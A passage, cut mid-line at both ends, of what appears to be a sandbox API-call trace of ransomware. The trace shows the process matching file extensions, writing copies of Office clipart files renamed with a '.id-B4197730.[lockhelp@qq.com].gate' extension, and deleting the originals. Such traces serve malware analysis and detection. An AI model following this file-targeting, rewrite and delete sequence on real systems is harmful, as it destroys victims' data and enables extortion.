Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.459] lstrlenW (lpString=".doc") returned 4 [0321.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.459] lstrlenW (lpString=".docx") returned 5 [0321.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.459] lstrlenW (lpString=".pdf") returned 4 [0321.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.459] lstrlenW (lpString=".xls") returned 4 [0321.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.459] lstrlenW (lpString=".xlsx") returned 5 [0321.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.459] lstrlenW (lpString=".ppt") returned 4 [0321.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.459] lstrlenW (lpString=".zip") returned 4 [0321.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.460] lstrlenW (lpString=".rar") returned 4 [0321.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString=".bz2") returned 4 [0321.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString=".7z") returned 3 [0321.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.460] lstrlenW (lpString=".dbf") returned 4 [0321.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.460] lstrlenW (lpString=".1cd") returned 4 [0321.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.460] lstrlenW (lpString=".jpg") returned 4 [0321.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.460] lstrlenW (lpString=".doc") returned 4 [0321.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString=".docx") returned 5 [0321.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.460] lstrlenW (lpString=".pdf") returned 4 [0321.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.460] lstrlenW (lpString=".xls") returned 4 [0321.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.460] lstrlenW (lpString=".xlsx") returned 5 [0321.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.460] lstrlenW (lpString=".ppt") returned 4 [0321.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.461] lstrlenW (lpString=".zip") returned 4 [0321.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.461] lstrlenW (lpString=".rar") returned 4 [0321.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.461] lstrlenW (lpString=".bz2") returned 4 [0321.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.461] lstrlenW (lpString=".7z") returned 3 [0321.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.461] lstrlenW (lpString=".dbf") returned 4 [0321.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.461] lstrlenW (lpString=".1cd") returned 4 [0321.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0321.461] lstrlenW (lpString=".jpg") returned 4 [0321.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.462] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.462] lstrlenW (lpString="BD00155_.WMF") returned 12 [0321.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.462] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11636) returned 1 [0321.462] CloseHandle (hObject=0x340) returned 1 [0321.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0321.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.463] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.463] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.463] GetLastError () returned 0x0 [0321.463] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0321.464] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0321.466] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.466] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.466] SetEndOfFile (hFile=0x344) returned 1 [0321.466] CloseHandle (hObject=0x344) returned 1 [0321.466] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.466] SetEndOfFile (hFile=0x340) returned 1 [0321.467] CloseHandle (hObject=0x340) returned 1 [0321.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0321.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.468] lstrlenW (lpString=".doc") returned 4 [0321.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.468] lstrlenW (lpString=".docx") returned 5 [0321.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.468] lstrlenW (lpString=".pdf") returned 4 [0321.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.468] lstrlenW (lpString=".xls") returned 4 [0321.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.468] lstrlenW (lpString=".xlsx") returned 5 [0321.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.468] lstrlenW (lpString=".ppt") returned 4 [0321.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.468] lstrlenW (lpString=".zip") returned 4 [0321.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.468] lstrlenW (lpString=".rar") returned 4 [0321.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.468] lstrlenW (lpString=".bz2") returned 4 [0321.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString=".7z") returned 3 [0321.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.469] lstrlenW (lpString=".dbf") returned 4 [0321.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.469] lstrlenW (lpString=".1cd") returned 4 [0321.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.469] lstrlenW (lpString=".jpg") returned 4 [0321.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.469] lstrlenW (lpString=".doc") returned 4 [0321.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString=".docx") returned 5 [0321.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.469] lstrlenW (lpString=".pdf") returned 4 [0321.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString=".xls") returned 4 [0321.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.469] lstrlenW (lpString=".xlsx") returned 5 [0321.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.469] lstrlenW (lpString=".ppt") returned 4 [0321.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.469] lstrlenW (lpString=".zip") returned 4 [0321.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.470] lstrlenW (lpString=".rar") returned 4 [0321.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.470] lstrlenW (lpString=".bz2") returned 4 [0321.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.470] lstrlenW (lpString=".7z") returned 3 [0321.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.470] lstrlenW (lpString=".dbf") returned 4 [0321.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.470] lstrlenW (lpString=".1cd") returned 4 [0321.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0321.470] lstrlenW (lpString=".jpg") returned 4 [0321.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.470] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.470] lstrlenW (lpString="BD00160_.WMF") returned 12 [0321.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.471] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=22516) returned 1 [0321.471] CloseHandle (hObject=0x340) returned 1 [0321.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0321.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.471] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.471] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.472] GetLastError () returned 0x0 [0321.472] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0321.824] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x5800, lpOverlapped=0x0) returned 1 [0321.825] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.825] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.825] SetEndOfFile (hFile=0x344) returned 1 [0321.825] CloseHandle (hObject=0x344) returned 1 [0321.825] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.825] SetEndOfFile (hFile=0x340) returned 1 [0321.826] CloseHandle (hObject=0x340) returned 1 [0321.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0321.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.827] lstrlenW (lpString=".doc") returned 4 [0321.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.827] lstrlenW (lpString=".docx") returned 5 [0321.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.827] lstrlenW (lpString=".pdf") returned 4 [0321.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.827] lstrlenW (lpString=".xls") returned 4 [0321.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.827] lstrlenW (lpString=".xlsx") returned 5 [0321.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.827] lstrlenW (lpString=".ppt") returned 4 [0321.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.827] lstrlenW (lpString=".zip") returned 4 [0321.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.827] lstrlenW (lpString=".rar") returned 4 [0321.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.827] lstrlenW (lpString=".bz2") returned 4 [0321.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.827] lstrlenW (lpString=".7z") returned 3 [0321.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.828] lstrlenW (lpString=".dbf") returned 4 [0321.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.828] lstrlenW (lpString=".1cd") returned 4 [0321.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.828] lstrlenW (lpString=".jpg") returned 4 [0321.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.828] lstrlenW (lpString=".doc") returned 4 [0321.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString=".docx") returned 5 [0321.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.828] lstrlenW (lpString=".pdf") returned 4 [0321.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString=".xls") returned 4 [0321.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.828] lstrlenW (lpString=".xlsx") returned 5 [0321.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.828] lstrlenW (lpString=".ppt") returned 4 [0321.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.828] lstrlenW (lpString=".zip") returned 4 [0321.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.828] lstrlenW (lpString=".rar") returned 4 [0321.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString=".bz2") returned 4 [0321.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.828] lstrlenW (lpString=".7z") returned 3 [0321.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.829] lstrlenW (lpString=".dbf") returned 4 [0321.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.829] lstrlenW (lpString=".1cd") returned 4 [0321.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0321.829] lstrlenW (lpString=".jpg") returned 4 [0321.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.829] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.829] lstrlenW (lpString="BD09194_.WMF") returned 12 [0321.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.829] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=14540) returned 1 [0321.829] CloseHandle (hObject=0x340) returned 1 [0321.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0321.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.830] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.830] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.830] GetLastError () returned 0x0 [0321.830] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0321.831] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0321.832] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.832] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.833] SetEndOfFile (hFile=0x344) returned 1 [0321.833] CloseHandle (hObject=0x344) returned 1 [0321.833] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.833] SetEndOfFile (hFile=0x340) returned 1 [0321.834] CloseHandle (hObject=0x340) returned 1 [0321.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0321.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.835] lstrlenW (lpString=".doc") returned 4 [0321.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.835] lstrlenW (lpString=".docx") returned 5 [0321.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.835] lstrlenW (lpString=".pdf") returned 4 [0321.835] lstrcmpiW (lpString1=".pdf", 